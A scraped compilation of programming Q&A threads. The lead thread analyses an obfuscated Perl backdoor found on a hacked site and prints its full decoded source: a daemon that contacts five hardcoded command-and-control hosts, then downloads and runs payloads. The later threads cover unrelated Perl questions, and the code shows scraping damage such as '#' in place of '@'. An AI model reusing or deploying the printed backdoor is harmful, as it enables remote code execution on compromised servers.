Decrypt obfuscated perl script on hacked site - perl

I was cleaning out a client's site that got hacked after I had cleaned it once already, when I found a cron job pointing to a script in the server /tmp directory:
https://pastebin.com/uXCSXxdn
The first 6 lines look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T#
The rest is just 121 more lines of that DATA block. I ran the file through Virustotal and it came back clean, but I am certain this is not a non-malicious file. Is there any way to safely decrypt it so I know where to look and see if it dropped another payload somewhere on the site?

If you want to see the deobfuscated code, here are the steps to do it. Note that what you will be doing is dangerous, because if you accidentally execute the code, your machine will be attacked. You are warned.
Note that these steps are for THIS EXAMPLE only. Other attack scripts may have other things in them. They may need other changes than what is detailed below.
Here are the steps for the original example that was posted.
Copy all of your program into original.pl. It will look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;print($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
Change the eval on the first line to print. IF YOU DON'T CHANGE THE eval TO print, THEN THE NEXT STEP WILL PERFORM THE ATTACK ON YOUR MACHINE.
Now, run the program, after you have changed the eval to print.
perl original.pl > unencoded.pl
The new unencoded.pl program will look like this, with no indentation:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
Now use the B::Deparse module to interpret and reformat the program. MAKE SURE YOU HAVE -MO=Deparse OR ELSE YOU WILL RUN THE ATTACK.
perl -MO=Deparse unencoded.pl > formatted.pl # Note the -MO=Deparse!!!
Running through the Deparse module will say:
unencoded.pl syntax OK
The new formatted.pl program will be a nicely formatted copy of the attacker's payload, 213 lines long, and you can examine what the script does. Note that the final program is still dangerous, because it is the attack program that the attacker wanted to run.

The format shown is simply uuencoding. I copied the pastebin-ed text, pasted it into https://www.browserling.com/tools/uudecode, which showed it's this not-actually-obfuscated Perl code:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", #$rnd[map {rand #$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (#$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d+$/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (#$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
#_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), #_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = #_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout += time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (#$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (#$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
The clues were a) recognising the distinctive format; b) also recognising the unpack('u*'). No machines, virtual or otherwise, were put at risk in this process.
The code has 5 URLs, and the http function implies it "phones home" to those, getting commands to execute in a Set-Cookie: PHPSESSIONID= header. I haven't analysed it further than that.

Replace eval with print to see what the script is running. The portion you provided generates readable code.

My first thought was to deparse it but that won't be of much use since most of the code is in the DATA block. You could replace the eval() function with print() and let the script decode it for you. You might end up needing deparse for what print gives you.

Related

Perl subroutine not running when script executed from Nagios XI back-end

I have a Perl script that is executed from Nagios XI.
It has two subroutines: SendEmail and SendTraps.
The script works fine when executed manually by passing the required parameters, but it doesn't work when triggered from Nagios. The script gets executed but the subroutines are skipped.
echo is working, but the two subroutines are not working even if the condition is met.
if ( ( $hoststatetype =~ m/HARD/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
sendMail();
send_trap();
}
Full script here:
use strict;
use warnings;
use Text::CSV;
# Declared all the variables here
# Parsing input arguments
if ( $#ARGV > -1 ) {
if ( $ARGV[0] eq "-nagiosxi_trigger" ) {
$prihost = $ARGV[1];
$hoststate = $ARGV[2];
$hoststatetype = $ARGV[3];
$hostoutput = $ARGV[4];
}
elsif ( $ARGV[0] eq "-manual_trigger" ) {
$comment = $ARGV[1];
$userid = $ARGV[2];
$flag = "Failover-Trigger_Manual";
print "Maunal Failover triggered with comment: $comment by $userid\n";
$error_desc = "Maunal Failover triggered with comment: $comment by $userid";
send_trap();
sendMail();
exit 0;
}
else {
print STDERR "Invalid parameter $ARGV[0] \n";
exit 1;
}
}
else {
print STDERR "ERROR:No Arguments Passed.\n";
exit 1
}
# Check if Host or Service is in Hard/down state
if ( ( $hoststatetype =~ m/HARD/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
sendMail();
send_trap();
}
elsif ( ( $hoststatetype =~ m/SOFT/ ) && ( $hoststate =~ m/DOWN/ ) ) {
`echo "HOST::$prihost $hostoutput">>/tmp/failover_log.txt`;
}
else {
`echo "HOST Good, $prihost $hostoutput">>/tmp/failover_log.txt`;
}
# Sub-Routines
sub failover {
my $csv = Text::CSV->new({ sep_char => ',' }) or die "Cannot use CSV: ".Text::CSV->error_diag ();;
my $file = "myxilist";
my $primary;
my $secondary;
#my $xienv;
my $host = `hostname`;
chomp $host;
open( my $data, '<', $file ) or die "Could not open '$file' $!\n";
while ( my $xi = <$data> ) {
chomp $xi;
if ( $csv->parse($xi) ) {
my #fields = $csv->fields();
if ( $fields[0] =~ m/$host/ ) {
$primary = $fields[1];
$secondary = $fields[0];
$xienv = $fields[2];
}
elsif ( $fields[1] =~ m/$host/ ) {
$primary = $fields[0];
$secondary = $fields[1];
$xienv = $fields[2];
}
}
else {
warn "Line could not be parsed: $xi\n";
exit 1;
}
}
my $failovermsg="failover successful from $primary to $secondary server";
return $failovermsg;
}
sub sendMail {
# Build the list for mailing out results
my $mailSubject;
my $mailID = "test\#mail.com";
my #results = failover();
$mailSubject = "Failover Successful on $xienv instance";
print "Sending email to $mailID \n";
`echo "sending Email">>/tmp/failover_log.txt`;
open MAILX, "|/usr/bin/mailx -s \"$mailSubject\" $mailID " or die $!;
print MAILX "#results";
close MAILX;
return;
}
sub send_trap {
# Sending SNMP traps
my #results = failover();
my $trap = `/usr/bin/snmptrap -v 2c -c public tcp:server:1010 '' MIB::Event Hostname s "$xienv" nSvcDesc s "$flag" nSvcStateID i 2 nSvcOutput s "#results"`;
return;
}
Any thoughts what could be missing?
Issue was in the failover() SubRoutine. I was calling a file "myxilist" that was present in the same directory as the script.
So, the script was working fine when called manually, but when it is triggered from application, script is getting executed from some other directory and the failover sub exits, as it's not able to open the file.
I've provided the full path of the file and the script works fine.
Thank you all for your help.

Modify Perl download script to uncompress files

I have a problem and I don't know how to solve it. I have to download some files from Amazon, and I cannot use Open-Uri in Ruby.
Amazon provides a Perl script to me to download these files, but I don't know Perl, and I need to modify the script.
use strict;
my $NA_SERVER = "https://assoc-datafeeds-na.amazon.com";
my $EU_SERVER = "https://assoc-datafeeds-eu.amazon.com";
my $FE_SERVER = "https://assoc-datafeeds-fe.amazon.com";
my $CURL="/usr/bin/curl"; # Update this to an appropriate location of the curl executable
my ($feed_filename, $md5_filename, $user, $pass, $out_dir, $region) = parse_argv();
my $server;
if($region eq "NA")
{
$server = $NA_SERVER;
}
elsif($region eq "EU")
{
$server = $EU_SERVER;
}
elsif($region eq "FE")
{
$server = $FE_SERVER;
}
else
{
print "ERROR: Invalid region: $region\n";
exit(1);
}
my $feed_names = read_feed_names($feed_filename);
my $old_md5_hash = read_md5($md5_filename); # Hash from feed name to MD5
my $new_md5_hash = fetch_new_md5($user, $pass, $server);
for my $feed_name (#$feed_names)
{
my $feed_new_md5 = $new_md5_hash->{$feed_name};
if(!defined($feed_new_md5) || $feed_new_md5 eq "")
{
print "ERROR: no md5 found for feed $feed_name, skipping it\n";
next;
}
my $feed_old_md5 = $old_md5_hash->{$feed_name};
if(defined($feed_old_md5) && $feed_old_md5 eq $feed_new_md5)
{
print "$feed_name has the same md5 ($feed_new_md5), skipping download for it\n";
}
else
{
print "$feed_name changed md5 from $feed_old_md5 to $feed_new_md5, downloading it\n";
my $success = download_feed($user, $pass, $feed_name, $out_dir, $server);
if($success == 1)
{
report_success($user, $pass, $feed_name, $server);
$old_md5_hash->{$feed_name} = $feed_new_md5;
save_md5($md5_filename, $old_md5_hash);
}
}
}
sub download_feed
{
my ($user, $pass, $feed_name, $out_dir, $server) = #_;
my $cmd = "$CURL --location --user $user:$pass -C - --digest -k $server/datafeed/getFeed?filename=$feed_name -o $out_dir/$feed_name";
my $success = 0;
my $sleep_secs = 5;
unlink "$out_dir/$feed_name"; # delete the file if it already exists
for(my $i = 0; $i < 4; $i++)
{
system($cmd);
if($? != 0)
{
print "Command [$cmd] failed with exit code $? ($!), retrying after $sleep_secs seconds\n";
sleep($sleep_secs);
}
else
{
$success = 1;
last;
}
}
if($success == 1)
{
# Download succeeded, and here I have to UNZIP
}
else
{
system($cmd);
if($? != 0)
{
print "ERROR: command [$cmd] failed with exit code $? ($!). Skipping this file\n";
}
else
{
$success = 1;
}
}
return $success;
}
sub report_success
{
my ($user, $pass, $feed_name, $server) = #_;
my $cmd = "$CURL --user $user:$pass --digest -k '$server/datafeed/reportStatus?success=1&filename=$feed_name'";
my $cmd_out = `$cmd`;
if($? != 0)
{
print "ERROR: command [$cmd] failed: $!\n";
# Suppress this error since it's not fatal
}
if($cmd_out =~ m/error/i)
{
print "ERROR: command [$cmd] returned error response - $cmd_out\n";
# Suppress this error since it's not fatal
}
}
sub read_feed_names
{
my ($feed_filename) = #_;
my #feeds;
open(FEEDS_FILE, $feed_filename) or die "could not open file $feed_filename: $!\n";
while(my $line = <FEEDS_FILE>)
{
chomp($line);
push(#feeds, $line);
}
return \#feeds;
}
sub read_md5
{
my ($filename) = #_;
my $md5_hash;
if(! -e $filename)
{
open(FILE, "> $filename") or die "could not open $filename: $!\n";
return $md5_hash;
}
# Else read the file's contents
open(FILE, $filename) or die "could not open $filename: $!\n";
while(my $line = <FILE>)
{
chomp($line);
my #arr = split(/\t/, $line);
if(scalar(#arr) != 2)
{
# Line is corrupted. Truncate entire file to clear corrput contents
open(FILE, "> $filename") or die "could not open $filename: $!\n";
$md5_hash = {};
return $md5_hash;
}
$md5_hash->{$arr[0]} = $arr[1];
}
close(FILE);
return $md5_hash;
}
sub save_md5
{
my ($filename, $md5_hash) = #_;
my $tmp_filename = $filename . "." . $$;
open(FILE, "> $tmp_filename") or die "could not open $tmp_filename: $!\n";
foreach my $key (keys(%$md5_hash))
{
my $value = $md5_hash->{$key};
print FILE "$key\t$value\n";
}
close(FILE);
system("mv $tmp_filename $filename");
}
sub fetch_new_md5
{
my ($user, $pass, $server) = #_;
my $new_md5_hash; # feed name to md5
my $cmd = "$CURL --user $user:$pass --digest -k $server/datafeed/listFeeds?format=text";
if(!defined(open(LIST_FEEDS, "$cmd |")))
{
print "ERROR: could not execute command: [$cmd], error code: $!\n";
exit(1);
}
while(my $line = <LIST_FEEDS>)
{
my #arr = split(/\t/, $line);
if(scalar(#arr) != 4)
{
print "ERROR: Failed to list feeds\n";
exit(1);
}
$new_md5_hash->{$arr[0]} = $arr[2];
}
return $new_md5_hash;
}
sub parse_argv
{
my ($feed_filename, $md5_filename, $user, $pass, $out_dir, $region); # Return values
my $i = 0;
my $num_args = $#ARGV + 1;
while($i < $num_args)
{
my $key = $ARGV[$i];
if($key eq "--input")
{
$feed_filename = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--md5-file")
{
$md5_filename = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--user")
{
$user = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--pass")
{
$pass = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--dir")
{
$out_dir = $ARGV[$i + 1];
$i = $i + 2;
next;
}
elsif($key eq "--region")
{
$region = uc($ARGV[$i + 1]);
$i = $i + 2;
next;
}
elsif($key eq "--help")
{
usage_help();
exit(0);
}
else
{
print "Unrecognized argument ($key), skipping it\n";
$i = $i + 1;
next;
}
}#while
if((!defined($feed_filename) || $feed_filename eq "") ||
(!defined($md5_filename) || $md5_filename eq "") ||
(!defined($user) || $user eq "") ||
(!defined($pass) || $pass eq "") ||
(!defined($out_dir) || $out_dir eq "") ||
(!defined($region) || $region eq ""))
{
usage_help();
exit(1);
}
return ($feed_filename, $md5_filename, $user, $pass, $out_dir, $region);
} #parse_argv()
sub usage_help
{
print "This program requires the following arguments -\n\n";
print "\t --input <filename>: path to filename containing list of feed names to be downloaded, one per line\n";
print "\t --md5-file <filename>: path to filename where md5 checksums will be stored\n";
print "\t --user <user>: user name for logging onto Associates S3 Proxy\n";
print "\t --pass <pass>: password for logging onto Associates S3 Proxy\n";
print "\t --dir <dir>: directory where feeds will be stored\n";
print "\t --region <region>: must be one of {NA,EU,FE}\n";
}
I figure where to insert the unzip command, but I don't know how to unzip every downloaded file...
Any hint?
Check if you have the unzip command and if it is so, try it:
if($success == 1)
{
# download succeeded and here I have to UNZIP
$unzip_cmd = "unzip $out_dir/$feed_name"
system($unzip_cmd);
}

stockholm to fasta format - include accession id in every header

Hello I've multiple sequences in stockholm format, at the top of every alignment there is a accession ID, for ex: '#=GF AC PF00406' and '//' --> this is the end of the alignment. When I'm converting the stockholm format to fasta format I need PF00406 in the header of every sequence of the particular alignment. Some times there will be multiple stockholm alignments in one file. I tried to modify the following perl script, it gave me bizarre results, any help will be greatly appreciated.
my $columns = 60;
my $gapped = 0;
my $progname = $0;
$progname =~ s/^.*?([^\/]+)$/$1/;
my $usage = "Usage: $progname [<Stockholm file(s)>]\n";
$usage .= " [-h] print this help message\n";
$usage .= " [-g] write gapped FASTA output\n";
$usage .= " [-s] sort sequences by name\n";
$usage .= " [-c <cols>] number of columns for FASTA output (default is $columns)\n";
# parse cmd-line opts
my #argv;
while (#ARGV) {
my $arg = shift;
if ($arg eq "-h") {
die $usage;
} elsif ($arg eq "-g") {
$gapped = 1;
} elsif ($arg eq "-s"){
$sorted = 1;
} elsif ($arg eq "-c") {
defined ($columns = shift) or die $usage;
} else {
push #argv, $arg;
}
}
#ARGV = #argv;
my %seq;
while (<>) {
next unless /\S/;
next if /^\s*\#/;
if (/^\s*\/\//) { printseq() }
else {
chomp;
my ($name, $seq) = split;
#seq =~ s/[\.\-]//g unless $gapped;
$seq{$name} .= $seq;
}
}
printseq();
sub printseq {
if($sorted){
foreach $key (sort keys %seq){
print ">$key\n";
for (my $i = 0; $i < length $seq{$key}; $i += $columns){
print substr($seq{$key}, $i, $columns), "\n";
}
}
} else{
while (my ($name, $seq) = each %seq) {
print ">$name\n";
for (my $i = 0; $i < length $seq; $i += $columns) {
print substr ($seq, $i, $columns), "\n";
}
}
}
%seq = ();
}
Depending on the how much variation there is in the line with the accessionID, you might need to modify the regex, but this works for your example file
my %seq;
my $aln;
while (<>) {
if ($_ =~ /#=GF AC (\w+)/) {
$aln = $1;
}
elsif ($_ =~ /^\s*\/\/\s*$/){
$aln = '';
}
next unless /\S/;
next if /^\s*\#/;
if (/^\s*\/\//) { printseq() }
else {
chomp;
my ($name, $seq) = split;
$name = $name . ' ' . $aln;
$seq{$name} .= $seq;
}
}
printseq();

Perl resume download from this script

I have this Perl-based download script.
I'd like to know how to make sure that when a user downloads a file with this script, can pause and resume the download (download resumable).
This is the code:
#!/usr/bin/perl
use XFSConfig;
use HCE_MD5;
use CGI::Carp qw(fatalsToBrowser);
my $code = (split('/',$ENV{REQUEST_URI}))[-2];
my $hce = HCE_MD5->new($c->{dl_key},"XFileSharingPRO");
my ($file_id,$file_code,$speed,$ip1,$ip2,$ip3,$ip4,$expire) = unpack("LA12SC4L", $hce->hce_block_decrypt(decode($code)) );
print("Content-type:text/html\n\nLink expired"),exit if time > $expire;
$speed||=500;
my $dx = sprintf("%05d",$file_id/$c->{files_per_folder});
my $ip="$ip1.$ip2.$ip3.$ip4";
$ip=~s/\.0$/.\\d+/;
$ip=~s/\.0\./.\\d+./;
$ip=~s/\.0\./.\\d+./;
$ip=~s/^0\./\\d+./;
print("Content-type:text/html\n\nNo file"),exit unless -f "$c->{upload_dir}/$dx/$file_code";
print("Content-type:text/html\n\nWrong IP"),exit if $ip && $ENV{REMOTE_ADDR}!~/^$ip/;
my $fsize = -s "$c->{upload_dir}/$dx/$file_code";
$|++;
open(my $in_fh,"$c->{upload_dir}/$dx/$file_code") || die"Can't open source file";
# unless($ENV{HTTP_ACCEPT_CHARSET}=~/utf-8/i)
# {
# $fname =~ s/([^A-Za-z0-9\-_.!~*'() ])/ uc sprintf "%%%02x",ord $1 /eg;
# $fname =~ tr/ /+/;
# }
print qq{Content-Type: application/octet-stream\n};
print qq{Content-length: $fsize\n};
#print qq{Content-Disposition: attachment; filename="$fname"\n};
print qq{Content-Disposition: attachment\n};
print qq{Content-Transfer-Encoding: binary\n\n};
$speed = int 1024*$speed/10;
my $buf;
while( read($in_fh, $buf, $speed) )
{
print $buf;
select(undef,undef,undef,0.1);
}
sub decode
{
$_ = shift;
my( $l );
tr|a-z2-7|\0-\37|;
$_=unpack('B*', $_);
s/000(.....)/$1/g;
$l=length;
$_=substr($_, 0, $l & ~7) if $l & 7;
$_=pack('B*', $_);
}
Thanks
To pause and resume downloads you should handle the http range header.
Take a look at http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35

DBD::CSV: How can I generate different behavior with the two f_ext-options ".csv" and ".csv/r"?

This is from the DBD::File-documentation:
f_ext
This attribute is used for setting the file extension where (CSV) files are opened. There are several possibilities.
DBI:CSV:f_dir=data;f_ext=.csv
In this case, DBD::File will open only table.csv if both table.csv and table exist in the datadir. The table will still be named table. If your datadir has files with extensions, and you do not pass this attribute, your table is named table.csv, which is probably not what you wanted. The extension is always case-insensitive. The table names are not.
DBI:CSV:f_dir=data;f_ext=.csv/r
In this case the extension is required, and all filenames that do not match are ignored.
It was not possible for me to generate different behavior with the two options ".csv/r" and ".csv". Could someone show me an example, where I can see the difference between ".csv/r" and ".csv"?
I can't seem to get it to do anything different either. The relevant section of code is
sub file2table
{
my ($data, $dir, $file, $file_is_tab, $quoted) = #_;
$file eq "." || $file eq ".." and return;
my ($ext, $req) = ("", 0);
if ($data->{f_ext}) {
($ext, my $opt) = split m/\//, $data->{f_ext};
if ($ext && $opt) {
$opt =~ m/r/i and $req = 1;
}
}
(my $tbl = $file) =~ s/$ext$//i;
$file_is_tab and $file = "$tbl$ext";
# Fully Qualified File Name
my $fqfn;
unless ($quoted) { # table names are case insensitive in SQL
opendir my $dh, $dir or croak "Can't open '$dir': $!";
my #f = grep { lc $_ eq lc $file } readdir $dh;
#f == 1 and $file = $f[0];
closedir $dh or croak "Can't close '$dir': $!";
}
$fqfn = File::Spec->catfile ($dir, $file);
$file = $fqfn;
if ($ext) {
if ($req) {
# File extension required
$file =~ s/$ext$//i or return;
}
else {
# File extension optional, skip if file with extension exists
grep m/$ext$/i, glob "$fqfn.*" and return;
$file =~ s/$ext$//i;
}
}
$data->{f_map}{$tbl} = $fqfn;
return $tbl;
} # file2table
Does this demonstrate the difference?:
sandbox % echo "a,b,c" > foo
sandbox % echo "a,b,c" > foo.csv
sandbox % echo "a,b,c" > bar
sandbox % echo "a,b,c" > baz.csv
sandbox % perl -MDBI -wle'print for DBI->connect("dbi:CSV:f_ext=.csv")->tables'
"merijn".baz
"merijn".bar
"merijn".foo
sandbox % perl -MDBI -wle'print for DBI->connect("dbi:CSV:f_ext=.csv/r")->tables'
"merijn".baz
"merijn".foo
sandbox %
f_ext=.csv only makes the .csv a preference, but nor a requirement: in the first case, the file "bar" with no .csv extension is still used, but "foo.csv" is chosen over "foo". With f_ext=.csv/r", "bar" is ignored, as it has no ".csv" extension.
Now in version 0.39 of DBD::File this part looks like this:
sub file2table
{
my ($self, $meta, $file, $file_is_table, $respect_case) = #_;
$file eq "." || $file eq ".." and return; # XXX would break a possible DBD::Dir
my ($ext, $req) = ("", 0);
if ($meta->{f_ext}) {
($ext, my $opt) = split m/\//, $meta->{f_ext};
if ($ext && $opt) {
$opt =~ m/r/i and $req = 1;
}
}
# (my $tbl = $file) =~ s/$ext$//i;
my ($tbl, $dir, $user_spec_file);
if ($file_is_table and defined $meta->{f_file}) {
$tbl = $file;
($file, $dir, undef) = File::Basename::fileparse ($meta->{f_file});
$user_spec_file = 1;
}
else {
($tbl, $dir, undef) = File::Basename::fileparse ($file, $ext);
$user_spec_file = 0;
}
-d File::Spec->catdir ($meta->{f_dir}, $dir) or
croak (File::Spec->catdir ($meta->{f_dir}, $dir) . ": $!");
!$respect_case and $meta->{sql_identifier_case} == 1 and # XXX SQL_IC_UPPER
$tbl = uc $tbl;
!$respect_case and $meta->{sql_identifier_case} == 2 and # XXX SQL_IC_LOWER
$tbl = lc $tbl;
my $searchdir = File::Spec->file_name_is_absolute ($dir)
? $dir
: Cwd::abs_path (File::Spec->catdir ($meta->{f_dir}, $dir));
$searchdir eq $meta->{f_dir} and
$dir = "";
unless ($user_spec_file) {
$file_is_table and $file = "$tbl$ext";
# Fully Qualified File Name
my $cmpsub;
if ($respect_case) {
$cmpsub = sub {
my ($fn, undef, $sfx) = File::Basename::fileparse ($_, qr/\.[^.]*/);
$fn eq $tbl and
return (lc $sfx eq lc $ext or !$req && !$sfx);
return 0;
}
}
else {
$cmpsub = sub {
my ($fn, undef, $sfx) = File::Basename::fileparse ($_, qr/\.[^.]*/);
lc $fn eq lc $tbl and
return (lc $sfx eq lc $ext or !$req && !$sfx);
return 0;
}
}
opendir my $dh, $searchdir or croak "Can't open '$searchdir': $!";
my #f = sort { length $b <=> length $a } grep { &$cmpsub ($_) } readdir $dh;
#f > 0 && #f <= 2 and $file = $f[0];
!$respect_case && $meta->{sql_identifier_case} == 4 and # XXX SQL_IC_MIXED
($tbl = $file) =~ s/$ext$//i;
closedir $dh or croak "Can't close '$searchdir': $!";
#(my $tdir = $dir) =~ s{^\./}{}; # XXX We do not want all tables to start with ./
#$tdir and $tbl = File::Spec->catfile ($tdir, $tbl);
$dir and $tbl = File::Spec->catfile ($dir, $tbl);
my $tmpfn = $file;
if ($ext) {
if ($req) {
# File extension required
$tmpfn =~ s/$ext$//i or return;
}
# else {
# # File extension optional, skip if file with extension exists
# grep m/$ext$/i, glob "$fqfn.*" and return;
# $tmpfn =~ s/$ext$//i;
# }
}
}
my $fqfn = File::Spec->catfile ($searchdir, $file);
my $fqbn = File::Spec->catfile ($searchdir, $tbl);
$meta->{f_fqfn} = $fqfn;
$meta->{f_fqbn} = $fqbn;
!defined $meta->{f_lockfile} && $meta->{f_lockfile} and
$meta->{f_fqln} = $meta->{f_fqbn} . $meta->{f_lockfile};
$meta->{table_name} = $tbl;
return $tbl;
} # file2table
As far as I can see, the two f_ext-options are working as expected.